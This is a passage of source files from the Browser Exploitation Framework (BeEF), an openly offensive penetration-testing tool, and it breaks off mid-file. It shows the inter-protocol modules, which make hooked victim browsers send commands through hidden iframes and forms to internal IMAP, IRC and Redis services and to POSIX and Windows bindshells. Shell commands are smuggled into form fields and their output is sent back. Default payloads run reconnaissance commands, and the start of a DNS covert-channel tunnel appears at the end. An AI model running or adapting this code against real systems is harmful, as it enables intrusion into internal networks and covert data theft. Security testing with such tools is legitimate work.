    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        etag_client:\n            enable: true\n            category: \"IPEC\"\n            name: \"ETag Tunnel: Server-to-Client\"\n            description: \"This module sends data from server to client using ETag HTTP header.<br/><br/>A payload name and message are taken as input. The structure of ETag header isn't modified. The message is sent as a bitstream, decoded, and then can be accessed via Window object property specified in payload name parameter.<br/><br/> Note: To use this feature you should enable ETag extension.\"\n            authors: [\"dnkolegov,ovbroslavsky,neoleksov\"]\n            target:\n                working: \"All\"\n"
  },
  {
    "path": "modules/ipec/etag_client/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Etag_client < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'payload_name', 'ui_label' => 'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'etagTunnelPayload' },\n      { 'name' => 'data', 'ui_label' => 'Message', 'type' => 'textarea',\n        'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' \\\n                   'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' \\\n                   'laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in ' \\\n                   'voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat ' \\\n                   'non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',\n        'width' => '400px', 'height' => '100px' }\n    ]\n  end\n\n  def pre_send\n    # gets the value configured in the module configuration by the user\n    @configuration = BeEF::Core::Configuration.instance\n    enable = @configuration.get('beef.extension.etag.enable')\n    raise ArgumentError, 'etag extension is disabled' if enable != true\n\n    @datastore.each do |input|\n      @data = input['value'] if input['name'] == 'data'\n    end\n    BeEF::Extension::ETag::ETagMessages.instance.messages.store(@command_id.to_i, @data.unpack1('B*'))\n  end\n\n  def post_execute\n    # gets the value of command_id from BeEF database and delete the message from Etag webserver \"database\"\n    cid = @datastore['cid'].to_i\n    BeEF::Extension::ETag::ETagMessages.instance.messages.delete(cid)\n  end\nend\n"
  },
  {
    "path": "modules/ipec/inter_protocol_imap/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Inter protocol IMAP module\n * Ported from BeEF-0.4.0.0 by jgaliana (Original author: Wade)\n *\n */\nbeef.execute(function() {\n\n\tvar server = '<%= @server %>';\n\tvar port = '<%= @port %>';\n\tvar commands = '<%= @commands %>';\n\n\tvar target = \"http://\" + server + \":\" + port + \"/abc.html\";\n\tvar iframe = beef.dom.createInvisibleIframe();\n\n\tvar form = document.createElement('form');\n\tform.setAttribute('name', 'data');\n\tform.setAttribute('action', target);\n\tform.setAttribute('method', 'post');\n\tform.setAttribute('enctype', 'multipart/form-data');\n\n\tvar input = document.createElement('input');\n\tinput.setAttribute('id', 'data1')\n\tinput.setAttribute('name', 'data1')\n\tinput.setAttribute('type', 'hidden');\n\tinput.setAttribute('value', commands);\n\tform.appendChild(input);\n\n\tiframe.contentWindow.document.body.appendChild(form);\n\tform.submit();\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=IMAP4 commands sent\");\n\n});\n"
  },
  {
    "path": "modules/ipec/inter_protocol_imap/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        inter_protocol_imap:\n            enable: true\n            category: \"IPEC\"\n            name: \"IMAP\"\n            description: \"Using Inter-protocol Communication (IPEC) zombie browser will send commands to an IMAP4 server. The target address can be on the zombie's subnet which is potentially not directly accessible from the Internet. Have in mind that browser Port Banning is denying connections to default IMAP port 143.\"\n            authors: [\"jgaliana\", \"wade\"]\n            target:\n                working: [\"FF\", \"C\", \"S\", \"O\"]\n                not_working: [\"IE\"]\n"
  },
  {
    "path": "modules/ipec/inter_protocol_imap/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Inter_protocol_imap < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'server', 'ui_label' => 'IMAP Server', 'value' => '127.0.0.1' },\n      { 'name' => 'port', 'ui_label' => 'Port', 'value' => '220' },\n      { 'name' => 'commands', 'ui_label' => 'Commands', 'type' => 'textarea', 'value' => 'a01 login root password\\na002 logout' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/ipec/inter_protocol_irc/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Inter protocol IRC module\n * Developed by jgaliana\n *\n * It is known that some IRC servers have protections against browser's connections in order to prevent attacks seen in the wild\n * http://www.theregister.co.uk/2010/01/30/firefox_interprotocol_attack/\n */\nbeef.execute(function() {\n\n\tvar rhost   = '<%= @rhost %>';\n\tvar rport   = '<%= @rport %>';\n\tvar nick    = '<%= @nick %>';\n\tvar channel = '<%= @channel %>';\n\tvar message = '<%= @message %>';\n\n\tvar irc_commands = \"NICK \" + nick + \"\\n\";\n\tirc_commands    += \"USER \" + nick + \" 8 * : \" + nick + \" user\\n\";\n\tirc_commands    += \"JOIN \" + channel + \"\\n\";\n\tirc_commands    += \"PRIVMSG \" + channel + \" :\" + message + \"\\nQUIT\\n\";\n\n\t// send commands\n\tvar irc_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, \"/index.html\", irc_commands);\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=IRC command sent\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(irc_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", 15000);\n\n});\n"
  },
  {
    "path": "modules/ipec/inter_protocol_irc/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        inter_protocol_irc:\n            enable: true\n            category: \"IPEC\"\n            name: \"IRC\"\n            description: \"Using Inter-protocol Exploitation/Communication (IPEC) the hooked browser will connect to an IRC server, join a channel and send messages to it.<br><br>NOTE: Some IRC servers (like freenode) have implemented protections against connections from a web browser. This module is unlikely to work in those instances.\"\n            authors: [\"jgaliana\"]\n            target:\n                working: [\"FF\"]\n                not_working: [\"C\", \"S\", \"O\", \"IE\"]\n"
  },
  {
    "path": "modules/ipec/inter_protocol_irc/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Inter_protocol_irc < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'IRC Server', 'value' => '127.0.0.1' },\n      { 'name' => 'rport',   'ui_label' => 'Port', 'value' => '6667' },\n      { 'name' => 'nick',    'ui_label' => 'Username',   'value' => 'user1234__' },\n      { 'name' => 'channel', 'ui_label' => 'Channel',    'value' => '#channel1' },\n      { 'name' => 'message', 'ui_label' => 'Message',    'value' => 'Message sent from the Browser Exploitation Framework!' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/ipec/inter_protocol_posix_bindshell/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar target_ip = \"<%= @ip %>\";\n\tvar target_port = \"<%= @port %>\";\n\tvar cmd = '<%= @cmd %>';\n\tvar timeout = \"<%= @command_timeout %>\";\n\tvar internal_counter = 0;\n\tvar result_size = \"<%= @result_size %>\";\n\n\t// create iframe\n\tvar iframe = document.createElement(\"iframe\");\n\tiframe.setAttribute(\"id\",\"ipc_posix_window_<%= @command_id %>\");\n\tiframe.setAttribute(\"style\", \"visibility:hidden;width:1px;height:1px;\");\n\tdocument.body.appendChild(iframe);\n\n\t// send a request\n\tfunction send_cmds(ip, port, cmd, size) {\n\n\t\tvar action = \"http://\" + ip + \":\" + port + \"/index.html?&/bin/sh;\";\n\t\tvar parent = window.location.href;\n\n\t\t// create form\n\t\tmyform=document.createElement(\"form\");\n\t\tmyform.setAttribute(\"name\",\"data\");\n\t\tmyform.setAttribute(\"method\",\"post\");\n\t\tmyform.setAttribute(\"enctype\",\"multipart/form-data\");\n\t\tmyform.setAttribute(\"action\",action);\n\t\tdocument.getElementById(\"ipc_posix_window_<%= @command_id %>\").contentWindow.document.body.appendChild(myform); \n\n\t\tbody1=\"<html><body><div id='ipc_content'>\";\n        body2=\"__END_OF_POSIX_IPC<%= @command_id %>__</div><s\"+\"cript>window.location='\"+parent+\"#ipc_result='+encodeURI(document.getElementById(\\\\\\\"ipc_content\\\\\\\").innerHTML);</\"+\"script></body></html>\";\n\n\t\t// post results separator\n\t\tmyExt = document.createElement(\"INPUT\");\n\t\tmyExt.setAttribute(\"id\",<%= @command_id %>);\n\t\tmyExt.setAttribute(\"name\",<%= @command_id %>);\n\t\tmyExt.setAttribute(\"value\",\"echo -e HTTP/1.1 200 OK\\\\\\\\r;echo -e Content-Type: text/html\\\\\\\\r;echo -e Content-Length: \"+(body1.length+cmd.length+body2.length+size*1)+\"\\\\\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\\\\\r;echo -e Connection: keep-alive\\\\\\\\r;echo -e \\\\\\\\r;echo \\\"\"+body1+\"\\\";(\" + cmd + \")|head -c \"+size+\" ; \");\n\t\tmyform.appendChild(myExt);\n\n\t\t// Adding buffer space for the command result\n\t\tend_talkback=\" echo -e \\\"\"+body2;\n\t\twhile(--size) end_talkback+=\" \";\n\t\tend_talkback+=\"\\\" \\\\\\\\r ;\";\n\n\t\t// post js to call home and close connection\n\t\tmyExt2 = document.createElement(\"INPUT\");\n\t\tmyExt2.setAttribute(\"id\",\"endTag\");\n\t\tmyExt2.setAttribute(\"name\",\"</div>\");\n\t\tmyExt2.setAttribute(\"value\",end_talkback);\n\n\t\tmyform.appendChild(myExt2);\n\t\tmyform.submit();\n\t}\n\n\t// wait <timeout> seconds for iframe url fragment to match #ipc_result=\n\tfunction waituntilok() {\n\n\t\ttry {\n\t\t\tif (/#ipc_result=/.test(document.getElementById(\"ipc_posix_window_<%= @command_id %>\").contentWindow.location)) {\n\t\t\t\tipc_result = document.getElementById(\"ipc_posix_window_<%= @command_id %>\").contentWindow.location.href;\n\t\t\t\toutput = ipc_result.substring(ipc_result.indexOf('#ipc_result=')+12,ipc_result.lastIndexOf('__END_OF_POSIX_IPC<%= @command_id %>__'));\n\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, \"result=\"+decodeURI(output.replace(/%0A/gi, \"<br>\")).replace(/</g, \"&lt;\").replace(/>/g, \"&gt;\").replace(/&lt;br&gt;/gi, \"<br>\"));\n\t\t\t\tdocument.body.removeChild(iframe);\n\t\t\t\treturn;\n\t\t\t} else throw(\"command results haven't been returned yet\");\n\t\t} catch (e) {\n\t\t\tinternal_counter++;\n\t\t\tif (internal_counter > timeout) {\n\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timeout after '+timeout+' seconds');\n\t\t\t\tdocument.body.removeChild(iframe);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tsetTimeout(function() {waituntilok()},1000);\n\t\t}\n\t}\n\n\t// validate target\n\tif (!target_port || !target_ip) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed target host or target port');\n\t} else if (!beef.net.is_valid_port(target_port)) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');\n\t// send request and wait for reply\n\t} else {\n\t\tsend_cmds(target_ip, target_port, cmd,result_size);\n\t\twaituntilok();\n\t}\n\n});\n\n"
  },
  {
    "path": "modules/ipec/inter_protocol_posix_bindshell/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        inter_protocol_posix_bindshell:\n            enable: true\n            category: \"IPEC\"\n            name: \"Bindshell (POSIX)\"\n            description: \"Using Inter-protocol Exploitation/Communication (IPEC) the hooked browser will send commands to a listening POSIX shell bound on the target specified in the 'Target Address' input field. <br><br>The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.\"\n            authors: [\"bcoles\", \"wade\"]\n            target:\n                working: [\"FF\"]\n                not_working: [\"C\", \"S\", \"O\", \"IE\"]\n"
  },
  {
    "path": "modules/ipec/inter_protocol_posix_bindshell/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# [+] Summary:\n#\n# Using Inter-protocol Communication (IPC) the zombie browser will send commands to a listening POSIX shell bound on the target specified in the 'Target Address' input. The target address can be on the zombie's subnet which is potentially not directly accessible from the Internet.\n#\n# The command results are returned to the BeEF control panel.\n#\n# [+] Tested:\n#\n# o Working:\n#   o Mozilla Firefox 6\n#\n# o Not Working:\n#   o Mozilla Firefox 6 with the NoScript extension\n#   o Internet Explorer 8+\n#   o Chrome 13\n#   o Opera 11\n#   o Safari 5\n#\n# [+] Notes:\n#\n# o The bindshell is closed once the module has completed. This is necessary otherwise the /bin/sh process will hang. To avoid this issue:\n#\n#   o remove the last \"& exit\" portion of the JavaScript payload. Be aware that this will leave redundant /bin/sh processes running on the target system.\n#\n# o The NoScript extension for Firefox aborts the request when attempting to access a host on the internal network and displays the following warning:\n#\n#   [ABE] <LOCAL> Deny on {POST http://localhost:4444/index.html?&/bin/sh&& <<< about:blank - 7}\n#   SYSTEM rule:\n#   Site LOCAL\n#   Accept from LOCAL\n#   Deny\n#\n# o Internet Explorer is not supported as IE 8+ does not allow posting data to internal network addresses. Earlier versions of IE have not been tested.\n#\n# o Returning the shell command results is not supported in Chrome, Safari and Opera as JavaScript cannot be executed within the bindshell iframe. The shell commands are executed on the target shell however.\n#\n# o This module is incompatible with autorun. Upon completing the shell commands it will load the original hooked window in a child iframe resulting in an additional hook. This will result in an infinite loop if this module is set to autorun.\n#\n\nclass Inter_protocol_posix_bindshell < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'ip', 'ui_label' => 'Target Address', 'value' => 'localhost' },\n      { 'name' => 'port', 'ui_label' => 'Target Port', 'value' => '4444' },\n      { 'name' => 'command_timeout', 'ui_label' => 'Timeout (s)', 'value' => '30' },\n      { 'name' => 'cmd', 'ui_label' => 'Shell Commands', 'description' => 'Enter shell commands to execute. Note: the semicolons are required to separate commands', 'type' => 'textarea',\n        'value' => 'echo ID: ; id', 'width' => '200px' },\n      { 'name' => 'result_size', 'ui_label' => 'Result Size', 'description' => 'Expected maximum size of the result in bytes', 'value' => '1024' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'] unless @datastore['result'].nil?\n    content['fail'] = @datastore['fail'] unless @datastore['fail'].nil?\n    content['fail'] = 'No data was returned.' if content.empty?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/ipec/inter_protocol_redis/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// validate payload\n\ttry {\n\t\tvar cmd = '<%= @commands.gsub(/'/, \"\\\\\\'\").gsub(/\"/, '\\\\\\\"') %>';\n\t} catch(e) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());\n\t\treturn;\n\t}\n\n\t// validate target host\n\tvar rhost = \"<%= @rhost %>\";\n\tif (!rhost) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target host');\n\t\treturn;\n\t}\n\n\t// validate target port\n\tvar rport = \"<%= @rport %>\";\n\tif (!beef.net.is_valid_port(rport)) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');\n\t\treturn;\n\t}\n\n\t// validate timeout\n\tvar timeout = \"<%= @timeout %>\";\n\tif (isNaN(timeout)) timeout = 30;\n\n\t// send commands\n\tvar redis_ipec_form_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, \"/index.html\", cmd);\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redis commands sent');\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(redis_ipec_form_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout * 1000);\n\n});\n\n"
  },
  {
    "path": "modules/ipec/inter_protocol_redis/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        inter_protocol_redis:\n            enable: true\n            category: \"IPEC\"\n            name: \"Redis\"\n            description: \"Using Inter-Protocol Exploitation/Communication (IPEC) the hooked browser will send commands to a listening Redis daemon on the target specified in the 'Target Address' input field.<br/><br/>The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the Redis commands are not returned to BeEF.<br/><br/>Note: Use '\\\\n' to separate Redis commands and '\\\\\\\\n' for new lines.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"FF\", \"C\"]\n                not_working: [\"IE\"]\n                unknown: [\"S\", \"O\"]\n"
  },
  {
    "path": "modules/ipec/inter_protocol_redis/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Inter_protocol_redis < BeEF::Core::Command\n  def self.options\n    cmd = 'set server:name \"BeEF says:\\\\\\\\nm00!\"\\\\nquit\\\\n'\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Address', 'value' => '127.0.0.1' },\n      { 'name' => 'rport',   'ui_label' => 'Target Port',    'value' => '6379' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)',    'value' => '15' },\n      { 'name' => 'commands', 'ui_label' => 'Redis commands', 'description' => \"Enter Redis commands to execute. Note: Use '\\\\n' to separate Redis commands and '\\\\\\\\n' for new lines.\",\n        'type' => 'textarea', 'value' => cmd, 'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'] unless @datastore['result'].nil?\n    content['fail']   = @datastore['fail']   unless @datastore['fail'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/ipec/inter_protocol_win_bindshell/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// validate payload\n\ttry {\n\t\tvar cmd = '<%= @commands.gsub(/'/, \"\\\\\\'\").gsub(/\"/, '\\\\\\\"') %>';\n\t} catch(e) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());\n\t\treturn;\n\t}\n\n\t// validate target host\n\tvar rhost = \"<%= @rhost %>\";\n\tif (!rhost) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target host');\n\t\treturn;\n\t}\n\n\t// validate target port\n\tvar rport = \"<%= @rport %>\";\n\tif (!beef.net.is_valid_port(rport)) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');\n\t\treturn;\n\t}\n\n\t// validate timeout\n\tvar timeout = \"<%= @timeout %>\";\n\tif (isNaN(timeout)) timeout = 30;\n\n\t// send commands\n\tvar win_ipec_form_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, \"/index.html?&cmd&\", cmd + \" & exit\");\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Shell commands sent');\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(win_ipec_form_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout * 1000);\n\n});\n\n"
  },
  {
    "path": "modules/ipec/inter_protocol_win_bindshell/command.old.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n// This is the old module which supports bi-directional communications for Firefox before version ~16\nbeef.execute(function() {\n\n\tvar target_ip   = \"<%= @ip %>\";\n\tvar target_port = \"<%= @port %>\";\n\tvar cmd         = \"<%= @cmd %>\";\n\tvar timeout     = \"<%= @command_timeout %>\";\n\tvar internal_counter = 0;\n\n\tcmd += \" & echo __END_OF_WIN_IPC<%= @command_id %>__ & echo </pre>\\\"\\\" & echo <div id='ipc_content'>\\\"\\\"\";\n\n\tvar iframe = document.createElement(\"iframe\");\n\tiframe.setAttribute(\"id\",\"ipc_win_window_<%= @command_id %>\");\n\tiframe.setAttribute(\"style\", \"visibility:hidden;width:1px;height:1px;\");\n\tdocument.body.appendChild(iframe);\n\n\tfunction do_submit(ip, port, content) {\n\n\t\tvar action = \"http://\" + ip + \":\" + port + \"/index.html?&cmd&\";\n\t\tvar parent = window.location.href;\n\n\t\tmyform=document.createElement(\"form\");\n\t\tmyform.setAttribute(\"name\",\"data\");\n\t\tmyform.setAttribute(\"method\",\"post\");\n\t\tmyform.setAttribute(\"enctype\",\"multipart/form-data\");\n\t\tmyform.setAttribute(\"action\",action);\n\t\tdocument.getElementById(\"ipc_win_window_<%= @command_id %>\").contentWindow.document.body.appendChild(myform); \n\t\n\t\tmyExt = document.createElement(\"INPUT\");\n\t\tmyExt.setAttribute(\"id\",<%= @command_id %>);\n\t\tmyExt.setAttribute(\"name\",<%= @command_id %>);\n\t\tmyExt.setAttribute(\"value\",content);\n\t\tmyform.appendChild(myExt);\n\t\tmyExt = document.createElement(\"INPUT\");\n\t\tmyExt.setAttribute(\"id\",\"endTag\");\n\t\tmyExt.setAttribute(\"name\",\"</div>\");\n\t\tmyExt.setAttribute(\"value\",\"echo <scr\"+\"ipt>window.location='\"+parent+\"#ipc_result='+encodeURI(document.getElementById(\\\"ipc_content\\\").innerHTML);</\"+\"script>\\\"\\\" & exit\");\n\n\t\tmyform.appendChild(myExt);\n\t\tmyform.submit();\n\t}\n\n\tfunction waituntilok() {\n\n\t\ttry {\n\t\t\tif (/#ipc_result=/.test(document.getElementById(\"ipc_win_window_<%= @command_id %>\").contentWindow.location)) {\n\t\t\t\tipc_result = document.getElementById(\"ipc_win_window_<%= @command_id %>\").contentWindow.location.href;\n\t\t\t\toutput = ipc_result.substring(ipc_result.indexOf('#ipc_result=')+12,ipc_result.lastIndexOf('__END_OF_WIN_IPC<%= @command_id %>__'));\n\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, \"result=\"+decodeURI(output.replace(/%0A/gi, \"<br>\")).replace(/</g, \"&lt;\").replace(/>/g, \"&gt;\").replace(/&lt;br&gt;/gi, \"<br>\"));\n\t\t\t\tdocument.body.removeChild(iframe);\n\t\t\t\treturn;\n\t\t\t} else throw(\"command results haven't been returned yet\");\n\t\t} catch (e) {\n\t\t\tinternal_counter++;\n\t\t\tif (internal_counter > timeout) {\n\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timeout after '+timeout+' seconds');\n\t\t\t\tdocument.body.removeChild(iframe);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tsetTimeout(function() {waituntilok()},1000);\n\t\t}\n\t}\n\n\t// validate target host\n\tif (!target_ip) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target host');\n\t\treturn;\n\t}\n\n\t// validate target port\n\tif (!target_port || target_port > 65535 || target_port < 0 || isNaN(target_port)) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');\n\t\treturn;\n\t}\n\n\t// send commands\n\tdo_submit(target_ip, target_port, cmd);\n\twaituntilok();\n\n});\n\n"
  },
  {
    "path": "modules/ipec/inter_protocol_win_bindshell/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        inter_protocol_win_bindshell:\n            enable: true\n            category: \"IPEC\"\n            name: \"Bindshell (Windows)\"\n            description: \"Using Inter-Protocol Exploitation/Communication (IPEC) the hooked browser will send commands to a listening Windows shell bound on the target specified in the 'Target Address' input field.<br/><br/>The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the commands are not returned to BeEF.<br/><br/>Note: ampersands are required to separate commands.\"\n            authors: [\"bcoles\", \"wade\"]\n            target:\n                working: [\"FF\", \"C\"]\n                not_working: [\"S\", \"O\", \"IE\"]\n"
  },
  {
    "path": "modules/ipec/inter_protocol_win_bindshell/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# The bindshell is closed once the module has completed. This is necessary otherwise the cmd.exe process will hang. To avoid this issue:\n#   - use the netcat persistent listen \"-L\" option rather than the listen \"-l\" option; or\n#   - remove the \"& exit\" portion of the JavaScript payload. Be aware that this will leave redundant cmd.exe processes running on the target system.\n#\n# Returning the shell command results is not supported in Firefox ~16+, IE, Chrome, Safari and Opera as JavaScript cannot be executed within the bindshell iframe due to content-type restrictions. The shell commands are executed on the target shell however.\n\nclass Inter_protocol_win_bindshell < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Address', 'value' => '127.0.0.1' },\n      { 'name' => 'rport',   'ui_label' => 'Target Port',    'value' => '4444' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)',    'value' => '30' },\n      { 'name' => 'commands', 'ui_label' => 'Shell Commands', 'description' => 'Enter shell commands to execute. Note: ampersands are required to separate commands', 'type' => 'textarea',\n        'value' => 'echo User: & whoami & echo Directory Path: & pwd & echo Directory Contents: & dir & echo HostName: & hostname & ipconfig & netstat -an', 'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'] unless @datastore['result'].nil?\n    content['fail']   = @datastore['fail']   unless @datastore['fail'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/ipec/s2c_dns_tunnel/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\nThis JavaScript retrieves data from a server via DNS covert channel.\n\nA remote controlled domain with a custom DNS server implementing covert channel logic is required.\nBeEF supports this feature via Server-to-Client DNS Tunnel extension.\n\nThe initial concept of the DNS covert channel and its implementation are described in the following literature:\n- K.Born. Browser-Based Covert Data Exfiltration. http://arxiv.org/ftp/arxiv/papers/1004/1004.4357.pdf\n- W. Alcorn,C. Frichot, M.Orru. The Browser Hacker's Handbook. ISBN-13: 978-1118662090, ISBN-10: 1118662091  \n\n*/\nbeef.execute(function() {\n\n  var payload_name  = \"<%= @payload_name %>\";\n  var domain        = \"<%= @zone %>\";\n  var scheme        = beef.net.httpproto;\n  var port          = beef.net.port;\n  var cid           = \"<%= @command_id %>\";\n  var curl          = \"<%= @command_url %>\";\n \n  var messages = new Array();\n  var bits = new Array();\n  var bit_transfered = new Array();\n  var timing = new Array();\n \n  // Do the DNS query by requesting an image\n  send_query = function(fqdn, msg, byte, bit) {\n    var img = new Image;\n    var fport = \"\";\n  \n    if (port !== \"80\") fport = \":\"+port;\n\n    img.src = scheme+\"://\" + fqdn + fport + \"/tiles/map\";  \n  \n    img.onload = function() { // successful load so bit equals 1\n      bits[msg][bit] = 1;\n      bit_transfered[msg][byte]++;\n      if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);\n    }\n\n    img.onerror = function() { // unsuccessful load so bit equals 0\n      bits[msg][bit] = 0;\n      bit_transfered[msg][byte]++;\n      if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);\n    }\n  };\n\n\t// Construct DNS names based on Active Directory SRV resource records pattern and resolve them via send_query function\n\t// See http://technet.microsoft.com/en-us/library/cc961719.aspx\n  function get_byte(msg, byte) {\n    bit_transfered[msg][byte] = 0;\n    var rnd8 = getRandomStr(8);\n    var rnd12 = getRandomStr(12);\n    // Request the byte one bit at a time\n    for(var bit=byte*8; bit < (byte*8)+8; bit++){\n        // Set the message number (hex)\n        msg_str = 